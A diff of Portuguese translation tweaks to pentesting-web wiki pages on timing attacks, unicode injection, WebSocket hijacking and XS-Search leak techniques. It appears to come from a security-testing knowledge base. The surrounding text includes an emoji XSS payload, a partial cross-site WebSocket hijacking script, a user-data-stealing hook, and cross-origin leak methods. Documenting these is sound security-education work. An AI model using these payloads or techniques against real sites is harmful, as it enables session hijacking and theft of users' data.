 - [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
 

src/pentesting-web/timing-attacks.md

@@ -18,7 +18,7 @@ Deixando apenas os **atrasos do servidor**, o ataque de tempo se torna mais fác
 
 No post do blog, é comentado como, usando essa técnica, foi possível encontrar parâmetros ocultos e até cabeçalhos apenas verificando que sempre que o parâmetro ou cabeçalho estava presente na solicitação, havia uma **diferença de tempo de cerca de 5ms**. Na verdade, essa técnica de descoberta foi adicionada ao **Param Miner** no Burp Suite.
 
-Essas diferenças de tempo podem ocorrer porque uma **solicitação DNS** foi realizada, algum **log foi escrito** devido a uma entrada inválida ou porque algumas **verificações são realizadas** quando um parâmetro está presente na solicitação.
+Essas diferenças de tempo podem ocorrer porque uma **solicitação DNS** foi realizada, algum **log foi escrito** devido a uma entrada inválida ou porque alguns **verificações são realizadas** quando um parâmetro está presente na solicitação.
 
 Algo que você precisa lembrar ao realizar esse tipo de ataque é que, devido à natureza oculta da superfície, você pode não saber qual é a verdadeira causa das diferenças de tempo.
 
@@ -26,11 +26,11 @@ Algo que você precisa lembrar ao realizar esse tipo de ataque é que, devido à
 
 Na mesma pesquisa, foi compartilhado que a técnica de tempo era ótima para descobrir "SSRFs com escopo" (que são SSRFs que podem acessar apenas IPs/domínios permitidos). Apenas **verificando a diferença de tempo quando um domínio permitido é definido** em comparação com quando um domínio não permitido é definido ajuda a descobrir proxies abertos, mesmo que a resposta seja a mesma.
 
-Uma vez que um proxy aberto com escopo é descoberto, foi possível encontrar alvos válidos analisando subdomínios conhecidos do alvo, e isso permitiu:
+Uma vez que um proxy aberto com escopo é descoberto, foi possível encontrar alvos válidos analisando subdomínios conhecidos do alvo e isso permitiu:
 
 - **Contornar firewalls** acessando subdomínios restritos via o **proxy aberto** em vez de pela internet
 - Além disso, abusar de um **proxy aberto** também é possível para **descobrir novos subdomínios acessíveis apenas internamente.**
-- **Ataques de impersonação de Front-End**: Servidores de front-end normalmente adicionam cabeçalhos para o backend, como `X-Forwarded-For` ou `X-Real-IP`. Proxies abertos que recebem esses cabeçalhos os adicionarão ao endpoint solicitado, portanto, um atacante poderia acessar ainda mais domínios internos adicionando esses cabeçalhos com valores permitidos.
+- **Ataques de impersonação de Front-End**: Servidores de front-end normalmente adicionam cabeçalhos para o backend, como `X-Forwarded-For` ou `X-Real-IP`. Proxies abertos que recebem esses cabeçalhos os adicionarão ao endpoint solicitado, portanto, um atacante poderia acessar ainda mais domínios internos adicionando esses cabeçalhos com valores na lista branca.
 
 ## Referências
 

src/pentesting-web/unicode-injection/README.md

@@ -27,7 +27,7 @@ Essa vulnerabilidade na verdade vem de uma vulnerabilidade que um pesquisador en
 
 ## Injeção de Emoji
 
-Back-ends se comportam de forma estranha quando **recebem emojis**. Isso aconteceu em [**este relato**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) onde o pesquisador conseguiu alcançar um XSS com um payload como: `💋img src=x onerror=alert(document.domain)//💛`
+Back-ends se comportam de forma estranha quando **recebem emojis**. Isso aconteceu em [**este relato**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) onde o pesquisador conseguiu realizar um XSS com um payload como: `💋img src=x onerror=alert(document.domain)//💛`
 
 Neste caso, o erro foi que o servidor, após remover os caracteres maliciosos, **converteu a string UTF-8 de Windows-1252 para UTF-8** (basicamente, a codificação de entrada e a conversão de codificação não coincidiram). Então, isso não dá um < apropriado, apenas um unicode estranho: `‹`\
 ``Então, eles pegaram essa saída e **converteram novamente agora de UTF-8 para ASCII**. Isso **normalizou** o `‹` para `<`, assim é como a exploração poderia funcionar nesse sistema.\

src/pentesting-web/websocket-attacks.md

@@ -4,7 +4,7 @@
 
 ## O que são WebSockets
 
-As conexões WebSocket são estabelecidas através de um **handshake HTTP** inicial e são projetadas para serem **de longa duração**, permitindo a troca de mensagens bidirecionais a qualquer momento sem a necessidade de um sistema transacional. Isso torna os WebSockets particularmente vantajosos para aplicações que requerem **baixa latência ou comunicação iniciada pelo servidor**, como fluxos de dados financeiros ao vivo.
+As conexões WebSocket são estabelecidas através de um **handshake** inicial **HTTP** e são projetadas para serem **de longa duração**, permitindo a troca de mensagens bidirecionais a qualquer momento sem a necessidade de um sistema transacional. Isso torna os WebSockets particularmente vantajosos para aplicações que requerem **baixa latência ou comunicação iniciada pelo servidor**, como fluxos de dados financeiros ao vivo.
 
 ### Estabelecimento de Conexões WebSocket
 
@@ -14,9 +14,9 @@ var ws = new WebSocket("wss://normal-website.com/ws")
 ```
 O protocolo `wss` significa uma conexão WebSocket segura com **TLS**, enquanto `ws` indica uma conexão **não segura**.
 
-Durante o estabelecimento da conexão, um handshake é realizado entre o navegador e o servidor via HTTP. O processo de handshake envolve o navegador enviando um pedido e o servidor respondendo, como ilustrado nos seguintes exemplos:
+Durante o estabelecimento da conexão, um handshake é realizado entre o navegador e o servidor via HTTP. O processo de handshake envolve o navegador enviando uma solicitação e o servidor respondendo, como ilustrado nos seguintes exemplos:
 
-O navegador envia um pedido de handshake:
+O navegador envia uma solicitação de handshake:
 ```javascript
 GET /chat HTTP/1.1
 Host: normal-website.com
@@ -70,7 +70,7 @@ Você pode usar a **ferramenta** [**https://github.com/PalindromeLabs/STEWS**](h
 - **Burp Suite** suporta comunicação de websockets MitM de maneira muito semelhante à que faz para comunicação HTTP regular.
 - A [**extensão socketsleuth**](https://github.com/snyk/socketsleuth) **do Burp Suite** permitirá que você gerencie melhor as comunicações de Websocket no Burp obtendo o **histórico**, definindo **regras de interceptação**, usando regras de **correspondência e substituição**, utilizando **Intruder** e **AutoRepeater.**
 - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviação de "**WebSocket/Socket.io Proxy**", esta ferramenta, escrita em Node.js, fornece uma interface de usuário para **capturar, interceptar, enviar mensagens personalizadas** e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
-- [**wsrepl**](https://github.com/doyensec/wsrepl) é um **REPL de websocket interativo** projetado especificamente para testes de penetração. Ele fornece uma interface para observar **mensagens de websocket recebidas e enviar novas**, com uma estrutura fácil de usar para **automatizar** essa comunicação. 
+- [**wsrepl**](https://github.com/doyensec/wsrepl) é um **REPL interativo de websocket** projetado especificamente para testes de penetração. Ele fornece uma interface para observar **mensagens de websocket recebidas e enviar novas**, com uma estrutura fácil de usar para **automatizar** essa comunicação. 
 - [**https://websocketking.com/**](https://websocketking.com/) é uma **web para se comunicar** com outras webs usando **websockets**.
 - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre outros tipos de comunicações/protocolos, fornece uma **web para se comunicar** com outras webs usando **websockets.**
 
@@ -80,15 +80,15 @@ No [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
 
 ## Sequestro de WebSocket entre Sites (CSWSH)
 
-**Sequestro de WebSocket entre sites**, também conhecido como **sequestro de WebSocket de origem cruzada**, é identificado como um caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afeta os handshakes de WebSocket. Essa vulnerabilidade surge quando os handshakes de WebSocket se autenticam exclusivamente via **cookies HTTP** sem **tokens CSRF** ou medidas de segurança semelhantes.
+**Sequestro de WebSocket entre Sites**, também conhecido como **sequestro de WebSocket de origem cruzada**, é identificado como um caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afeta os handshakes de WebSocket. Essa vulnerabilidade surge quando os handshakes de WebSocket se autenticam exclusivamente via **cookies HTTP** sem **tokens CSRF** ou medidas de segurança semelhantes.
 
 Os atacantes podem explorar isso hospedando uma **página web maliciosa** que inicia uma conexão de WebSocket entre sites para um aplicativo vulnerável. Consequentemente, essa conexão é tratada como parte da sessão da vítima com o aplicativo, explorando a falta de proteção CSRF no mecanismo de gerenciamento de sessão.
 
 ### Ataque Simples
 
-Observe que ao **estabelecer** uma conexão de **websocket**, o **cookie** é **enviado** para o servidor. O **servidor** pode estar usando isso para **relacionar** cada **usuário específico** com sua **sessão de websocket** com base no cookie enviado.
+Observe que ao **estabelecer** uma conexão de **websocket**, o **cookie** é **enviado** ao servidor. O **servidor** pode estar usando isso para **relacionar** cada **usuário específico** com sua **sessão de websocket com base no cookie enviado**.
 
-Então, se por **exemplo** o **servidor de websocket** **enviar de volta o histórico da conversa** de um usuário se uma mensagem com "**READY"** for enviada, então um **XSS simples** estabelecendo a conexão (o **cookie** será **enviado** **automaticamente** para autorizar o usuário vítima) **enviando** "**READY**" poderá **recuperar** o histórico da **conversa**.
+Então, se por **exemplo** o **servidor de websocket** **retorna o histórico da conversa** de um usuário se uma mensagem com "**READY"** for enviada, então um **simples XSS** estabelecendo a conexão (o **cookie** será **enviado** **automaticamente** para autorizar o usuário vítima) **enviando** "**READY**" poderá **recuperar** o histórico da **conversa**.
 ```markup
 <script>
 websocket = new WebSocket('wss://your-websocket-URL')
@@ -109,7 +109,7 @@ Neste post do blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerabil
 
 ### Roubo de dados do usuário
 
-Copie a aplicação web que você deseja imitar (os arquivos .html, por exemplo) e dentro do script onde a comunicação do websocket está ocorrendo adicione este código:
+Copie a aplicação web que você deseja imitar (os arquivos .html, por exemplo) e dentro do script onde a comunicação do websocket está ocorrendo, adicione este código:
 ```javascript
 //This is the script tag to load the websocket hooker
 ;<script src="wsHook.js"></script>

src/pentesting-web/xs-search.md

@@ -8,8 +8,8 @@ XS-Search é um método usado para **extrair informações de origem cruzada** a
 
 Os principais componentes envolvidos neste ataque incluem:
 
-- **Web Vulnerável**: O site alvo do qual se pretende extrair informações.
-- **Web do Atacante**: O site malicioso criado pelo atacante, que a vítima visita, hospedando a exploração.
+- **Web Vulnerável**: O site alvo do qual as informações devem ser extraídas.
+- **Web do Atacante**: O site malicioso criado pelo atacante, que a vítima visita, hospedando o exploit.
 - **Método de Inclusão**: A técnica empregada para incorporar a Web Vulnerável na Web do Atacante (por exemplo, window.open, iframe, fetch, tag HTML com href, etc.).
 - **Técnica de Vazamento**: Técnicas usadas para discernir diferenças no estado da Web Vulnerável com base nas informações coletadas através do método de inclusão.
 - **Estados**: As duas condições potenciais da Web Vulnerável, que o atacante visa distinguir.
@@ -30,16 +30,16 @@ Vários aspectos podem ser analisados para diferenciar os estados da Web Vulner
 
 - **Elementos HTML**: HTML oferece vários elementos para **inclusão de recursos de origem cruzada**, como folhas de estilo, imagens ou scripts, forçando o navegador a solicitar um recurso não-HTML. Uma compilação de potenciais elementos HTML para esse propósito pode ser encontrada em [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
 - **Frames**: Elementos como **iframe**, **object** e **embed** podem incorporar recursos HTML diretamente na página do atacante. Se a página **não tiver proteção contra framing**, o JavaScript pode acessar o objeto window do recurso emoldurado através da propriedade contentWindow.
-- **Pop-ups**: O método **`window.open`** abre um recurso em uma nova aba ou janela, fornecendo um **handle de janela** para o JavaScript interagir com métodos e propriedades seguindo o SOP. Pop-ups, frequentemente usados em autenticação única, contornam as restrições de framing e cookies de um recurso alvo. No entanto, navegadores modernos restringem a criação de pop-ups a certas ações do usuário.
-- **Requisições JavaScript**: JavaScript permite requisições diretas a recursos alvo usando **XMLHttpRequests** ou a **Fetch API**. Esses métodos oferecem controle preciso sobre a requisição, como optar por seguir redirecionamentos HTTP.
+- **Pop-ups**: O método **`window.open`** abre um recurso em uma nova aba ou janela, fornecendo um **manipulador de janela** para o JavaScript interagir com métodos e propriedades seguindo o SOP. Pop-ups, frequentemente usados em autenticação única, contornam as restrições de framing e cookies de um recurso alvo. No entanto, navegadores modernos restringem a criação de pop-ups a certas ações do usuário.
+- **Requisições JavaScript**: O JavaScript permite requisições diretas a recursos alvo usando **XMLHttpRequests** ou a **Fetch API**. Esses métodos oferecem controle preciso sobre a requisição, como optar por seguir redirecionamentos HTTP.
 
 ### Técnicas de Vazamento
 
-- **Manipulador de Eventos**: Uma técnica clássica de vazamento em XS-Leaks, onde manipuladores de eventos como **onload** e **onerror** fornecem insights sobre o sucesso ou falha do carregamento de recursos.
+- **Manipulador de Evento**: Uma técnica clássica de vazamento em XS-Leaks, onde manipuladores de eventos como **onload** e **onerror** fornecem insights sobre o sucesso ou falha do carregamento de recursos.
 - **Mensagens de Erro**: Exceções JavaScript ou páginas de erro especiais podem fornecer informações de vazamento, seja diretamente da mensagem de erro ou diferenciando entre sua presença e ausência.
 - **Limites Globais**: Limitações físicas de um navegador, como capacidade de memória ou outros limites impostos pelo navegador, podem sinalizar quando um limite é alcançado, servindo como uma técnica de vazamento.
 - **Estado Global**: Interações detectáveis com os **estados globais** dos navegadores (por exemplo, a interface History) podem ser exploradas. Por exemplo, o **número de entradas** no histórico de um navegador pode oferecer pistas sobre páginas de origem cruzada.
-- **API de Desempenho**: Esta API fornece **detalhes de desempenho da página atual**, incluindo o tempo de rede para o documento e recursos carregados, permitindo inferências sobre recursos solicitados.
+- **API de Performance**: Esta API fornece **detalhes de desempenho da página atual**, incluindo o tempo de rede para o documento e recursos carregados, permitindo inferências sobre recursos solicitados.
 - **Atributos Legíveis**: Alguns atributos HTML são **legíveis de origem cruzada** e podem ser usados como uma técnica de vazamento. Por exemplo, a propriedade `window.frame.length` permite que o JavaScript conte os frames incluídos em uma página da web de origem cruzada.
 
 ## Ferramenta e Artigo XSinator
@@ -53,13 +53,13 @@ Você pode **acessar a ferramenta em** [**https://xsinator.com/**](https://xsina
 
 ## **Técnicas Baseadas em Tempo**
 
-Algumas das técnicas a seguir vão usar o tempo como parte do processo para detectar diferenças nos possíveis estados das páginas web. Existem diferentes maneiras de medir o tempo em um navegador web.
+Algumas das técnicas a seguir vão usar tempo como parte do processo para detectar diferenças nos possíveis estados das páginas web. Existem diferentes maneiras de medir o tempo em um navegador web.
 
 **Relógios**: A API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) permite que os desenvolvedores obtenham medições de tempo de alta resolução.\
 Há um número considerável de APIs que os atacantes podem abusar para criar relógios implícitos: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animações CSS, e outros.\
 Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
 
-## Técnicas de Manipulador de Eventos
+## Técnicas de Manipulador de Evento
 
 ### Onload/Onerror
 
@@ -73,7 +73,7 @@ Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks
 xs-search/cookie-bomb-+-onerror-xs-leak.md
 {{#endref}}
 
-O exemplo de código tenta **carregar objetos de scripts do JS**, mas **outras tags** como objetos, folhas de estilo, imagens, áudios também poderiam ser usadas. Além disso, também é possível injetar a **tag diretamente** e declarar os eventos `onload` e `onerror` dentro da tag (em vez de injetá-los do JS).
+O exemplo de código tenta **carregar objetos de scripts de JS**, mas **outras tags** como objetos, folhas de estilo, imagens, áudios também poderiam ser usadas. Além disso, também é possível injetar a **tag diretamente** e declarar os eventos `onload` e `onerror` dentro da tag (em vez de injetá-los a partir do JS).
 
 Há também uma versão sem script deste ataque:
 ```html
@@ -129,14 +129,14 @@ Foi observado que na ausência de [Framing Protections](https://xsleaks.dev/docs
 ### #ID + error + onload
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Page Content
+- **Detectable Difference**: Conteúdo da Página
 - **More info**:
 - **Summary**: Se você conseguir fazer a página gerar um erro quando o conteúdo correto for acessado e fazê-la carregar corretamente quando qualquer conteúdo for acessado, então você pode criar um loop para extrair todas as informações sem medir o tempo.
 - **Code Example**:
 
 Suponha que você possa **inserir** a **página** que contém o **conteúdo secreto** **dentro de um Iframe**.
 
-Você pode **fazer a vítima procurar** pelo arquivo que contém "_**flag**_" usando um **Iframe** (exploitar um CSRF, por exemplo). Dentro do Iframe, você sabe que o _**evento onload**_ será **executado sempre pelo menos uma vez**. Então, você pode **mudar** a **URL** do **iframe** mudando apenas o **conteúdo** do **hash** dentro da URL.
+Você pode **fazer a vítima procurar** pelo arquivo que contém "_**flag**_" usando um **Iframe** (exploiting um CSRF, por exemplo). Dentro do Iframe, você sabe que o _**evento onload**_ será **executado sempre pelo menos uma vez**. Então, você pode **mudar** a **URL** do **iframe** mudando apenas o **conteúdo** do **hash** dentro da URL.
 
 Por exemplo:
 
@@ -147,12 +147,12 @@ Se a primeira URL foi **carregada com sucesso**, então, ao **mudar** a parte do
 
 Então, você pode **distinguir entre** uma página **carregada corretamente** ou uma página que teve um **erro** ao ser acessada.
 
-### Javascript Execution
+### Execução de Javascript
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Page Content
+- **Detectable Difference**: Conteúdo da Página
 - **More info**:
-- **Summary:** Se a **página** está **retornando** o conteúdo **sensível**, **ou** um **conteúdo** que pode ser **controlado** pelo usuário. O usuário pode definir **código JS válido no caso negativo**, um **load** em cada tentativa dentro de **`<script>`** tags, então em **casos negativos** o **código** dos atacantes é **executado**, e em **casos afirmativos** **nada** será executado.
+- **Summary:** Se a **página** está **retornando** o conteúdo **sensível**, **ou** um **conteúdo** que pode ser **controlado** pelo usuário. O usuário pode definir **código JS válido no caso negativo**, um **load** a cada tentativa dentro de **`<script>`** tags, então em **casos negativos** o **código** dos atacantes é **executado**, e em **casos afirmativos** **nada** será executado.
 - **Code Example:**
 
 {{#ref}}
@@ -162,19 +162,19 @@ xs-search/javascript-execution-xs-leak.md
 ### CORB - Onerror
 
 - **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Status Code & Headers
+- **Detectable Difference**: Código de Status & Cabeçalhos
 - **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
 - **Summary**: **Cross-Origin Read Blocking (CORB)** é uma medida de segurança que impede que páginas da web carreguem certos recursos sensíveis de origem cruzada para proteger contra ataques como **Spectre**. No entanto, os atacantes podem explorar seu comportamento protetor. Quando uma resposta sujeita ao **CORB** retorna um `Content-Type` _**protegido pelo CORB**_ com `nosniff` e um código de status `2xx`, **CORB** remove o corpo e os cabeçalhos da resposta. Atacantes que observam isso podem inferir a combinação do **código de status** (indicando sucesso ou erro) e o `Content-Type` (denotando se está protegido pelo **CORB**), levando a uma possível vazamento de informações.
-- **Code Example**:
+- **Code Example:**
 
 Verifique o link de mais informações para mais informações sobre o ataque.
 
 ### onblur
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Page Content
+- **Detectable Difference**: Conteúdo da Página
 - **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
-- **Summary**: Vazar dados sensíveis do atributo id ou name.
+- **Summary**: Vazar dados sensíveis do atributo id ou nome.
 - **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
 
 É possível **carregar uma página** dentro de um **iframe** e usar o **`#id_value`** para fazer a página **focar no elemento** do iframe com o id indicado, então se um sinal **`onblur`** for acionado, o elemento ID existe.\
@@ -183,43 +183,43 @@ Você pode realizar o mesmo ataque com tags **`portal`**.
 ### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
 
 - **Inclusion Methods**: Frames, Pop-ups
-- **Detectable Difference**: API Usage
+- **Detectable Difference**: Uso da API
 - **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
 - **Summary**: Coletar informações sensíveis de um postMessage ou usar a presença de postMessages como um oráculo para saber o status do usuário na página
-- **Code Example**: `Any code listening for all postMessages.`
+- **Code Example**: `Qualquer código ouvindo todos os postMessages.`
 
 Aplicações frequentemente utilizam [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para se comunicar entre diferentes origens. No entanto, esse método pode inadvertidamente expor **informações sensíveis** se o parâmetro `targetOrigin` não for especificado corretamente, permitindo que qualquer janela receba as mensagens. Além disso, o simples ato de receber uma mensagem pode atuar como um **oráculo**; por exemplo, certas mensagens podem ser enviadas apenas para usuários que estão logados. Portanto, a presença ou ausência dessas mensagens pode revelar informações sobre o estado ou identidade do usuário, como se ele está autenticado ou não.
 
-## Global Limits Techniques
+## Técnicas de Limites Globais
 
 ### WebSocket API
 
 - **Inclusion Methods**: Frames, Pop-ups
-- **Detectable Difference**: API Usage
+- **Detectable Difference**: Uso da API
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
-- **Summary**: Esgotar o limite de conexão WebSocket vaza o número de conexões WebSocket de uma página de origem cruzada.
+- **Summary**: Esgotar o limite de conexão do WebSocket vaza o número de conexões WebSocket de uma página de origem cruzada.
 - **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
 
 É possível identificar se, e quantas, **conexões WebSocket uma página alvo utiliza**. Isso permite que um atacante detecte estados de aplicação e vaze informações ligadas ao número de conexões WebSocket.
 
-Se uma **origem** usar a **quantidade máxima de objetos de conexão WebSocket**, independentemente do estado de suas conexões, a criação de **novos objetos resultará em exceções JavaScript**. Para executar esse ataque, o site atacante abre o site alvo em um pop-up ou iframe e então, após o site alvo ter sido carregado, tenta criar o maior número possível de conexões WebSocket. O **número de exceções lançadas** é o **número de conexões WebSocket usadas pela janela do site alvo**.
+Se uma **origem** usar a **quantidade máxima de objetos de conexão WebSocket**, independentemente do estado de suas conexões, a criação de **novos objetos resultará em exceções de JavaScript**. Para executar esse ataque, o site atacante abre o site alvo em um pop-up ou iframe e então, após o site alvo ter sido carregado, tenta criar o maior número possível de conexões WebSocket. O **número de exceções lançadas** é o **número de conexões WebSocket usadas pela janela do site alvo**.
 
 ### Payment API
 
 - **Inclusion Methods**: Frames, Pop-ups
-- **Detectable Difference**: API Usage
+- **Detectable Difference**: Uso da API
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
 - **Summary**: Detectar Pedido de Pagamento porque apenas um pode estar ativo ao mesmo tempo.
 - **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
 
 Esse XS-Leak permite que um atacante **detecte quando uma página de origem cruzada inicia um pedido de pagamento**.
 
-Porque **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o site alvo estiver usando a API de Pedido de Pagamento, quaisquer novas tentativas de usar essa API falharão e causarão uma **exceção JavaScript**. O atacante pode explorar isso **tentando periodicamente mostrar a interface do usuário da API de Pagamento**. Se uma tentativa causar uma exceção, o site alvo está atualmente usando-a. O atacante pode ocultar essas tentativas periódicas fechando imediatamente a interface após a criação.
+Porque **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o site alvo estiver usando a API de Pedido de Pagamento, quaisquer novas tentativas de usar essa API falharão e causarão uma **exceção de JavaScript**. O atacante pode explorar isso **tentando periodicamente mostrar a interface da API de Pagamento**. Se uma tentativa causar uma exceção, o site alvo está atualmente usando-a. O atacante pode ocultar essas tentativas periódicas fechando imediatamente a interface após a criação.
 
-### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
+### Temporização do Loop de Eventos <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
 
 - **Inclusion Methods**:
-- **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Detectable Difference**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
 - **Summary:** Medir o tempo de execução de uma web abusando do loop de eventos JS de thread única.
 - **Code Example**:
@@ -228,28 +228,28 @@ Porque **apenas um pedido de pagamento pode estar ativo** ao mesmo tempo, se o s
 xs-search/event-loop-blocking-+-lazy-images.md
 {{#endref}}
 
-JavaScript opera em um [loop de eventos de thread única](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), significando que **só pode executar uma tarefa por vez**. Essa característica pode ser explorada para medir **quanto tempo o código de uma origem diferente leva para executar**. Um atacante pode medir o tempo de execução de seu próprio código no loop de eventos ao despachar continuamente eventos com propriedades fixas. Esses eventos serão processados quando o pool de eventos estiver vazio. Se outras origens também estiverem despachando eventos para o mesmo pool, um **atacante pode inferir o tempo que leva para esses eventos externos serem executados observando atrasos na execução de suas próprias tarefas**. Esse método de monitoramento do loop de eventos para atrasos pode revelar o tempo de execução do código de diferentes origens, potencialmente expondo informações sensíveis.
+JavaScript opera em um [modelo de concorrência de loop de eventos de thread única](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), significando que **só pode executar uma tarefa por vez**. Essa característica pode ser explorada para medir **quanto tempo o código de uma origem diferente leva para executar**. Um atacante pode medir o tempo de execução de seu próprio código no loop de eventos ao despachar continuamente eventos com propriedades fixas. Esses eventos serão processados quando o pool de eventos estiver vazio. Se outras origens também estiverem despachando eventos para o mesmo pool, um **atacante pode inferir o tempo que leva para esses eventos externos serem executados observando atrasos na execução de suas próprias tarefas**. Esse método de monitoramento do loop de eventos para atrasos pode revelar o tempo de execução do código de diferentes origens, potencialmente expondo informações sensíveis.
 
 > [!WARNING]
-> Em um tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
+> Em uma temporização de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
 
-### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
+### Loop de Eventos Ocupado <a href="#busy-event-loop" id="busy-event-loop"></a>
 
 - **Inclusion Methods**:
-- **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Detectable Difference**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
 - **Summary:** Um método para medir o tempo de execução de uma operação web envolve bloquear intencionalmente o loop de eventos de uma thread e então medir **quanto tempo leva para o loop de eventos ficar disponível novamente**. Ao inserir uma operação de bloqueio (como um cálculo longo ou uma chamada de API síncrona) no loop de eventos e monitorar o tempo que leva para o código subsequente começar a ser executado, pode-se inferir a duração das tarefas que estavam sendo executadas no loop de eventos durante o período de bloqueio. Essa técnica aproveita a natureza de thread única do loop de eventos do JavaScript, onde as tarefas são executadas sequencialmente, e pode fornecer insights sobre o desempenho ou comportamento de outras operações que compartilham a mesma thread.
 - **Code Example**:
 
-Uma vantagem significativa da técnica de medir o tempo de execução bloqueando o loop de eventos é seu potencial para contornar a **Isolação de Site**. **Isolação de Site** é um recurso de segurança que separa diferentes sites em processos separados, visando impedir que sites maliciosos acessem diretamente dados sensíveis de outros sites. No entanto, ao influenciar o tempo de execução de outra origem através do loop de eventos compartilhado, um atacante pode indiretamente extrair informações sobre as atividades daquela origem. Esse método não depende do acesso direto aos dados da outra origem, mas sim observa o impacto das atividades daquela origem no loop de eventos compartilhado, assim evitando as barreiras protetoras estabelecidas pela **Isolação de Site**.
+Uma vantagem significativa da técnica de medir o tempo de execução bloqueando o loop de eventos é seu potencial para contornar a **Isolação de Site**. **Isolação de Site** é um recurso de segurança que separa diferentes sites em processos separados, visando impedir que sites maliciosos acessem diretamente dados sensíveis de outros sites. No entanto, ao influenciar a temporização de execução de outra origem através do loop de eventos compartilhado, um atacante pode indiretamente extrair informações sobre as atividades daquela origem. Esse método não depende de acesso direto aos dados da outra origem, mas sim observa o impacto das atividades daquela origem no loop de eventos compartilhado, assim evitando as barreiras protetoras estabelecidas pela **Isolação de Site**.
 
 > [!WARNING]
-> Em um tempo de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
+> Em uma temporização de execução, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
 
-### Connection Pool
+### Pool de Conexões
 
-- **Inclusion Methods**: JavaScript Requests
-- **Detectable Difference**: Timing (geralmente devido ao Conteúdo da Página, Código de Status)
+- **Inclusion Methods**: Requisições JavaScript
+- **Detectable Difference**: Temporização (geralmente devido ao Conteúdo da Página, Código de Status)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 - **Summary:** Um atacante poderia bloquear todos os sockets, exceto 1, carregar a web alvo e ao mesmo tempo carregar outra página, o tempo até a última página começar a carregar é o tempo que a página alvo levou para carregar.
 - **Code Example**:
@@ -258,127 +258,127 @@ Uma vantagem significativa da técnica de medir o tempo de execução bloqueando
 xs-search/connection-pool-example.md
 {{#endref}}
 
-Os navegadores utilizam sockets para comunicação com o servidor, mas devido aos recursos limitados do sistema operacional e hardware, **os navegadores são obrigados a impor um limite** no número de sockets concorrentes. Atacantes podem explorar essa limitação através dos seguintes passos:
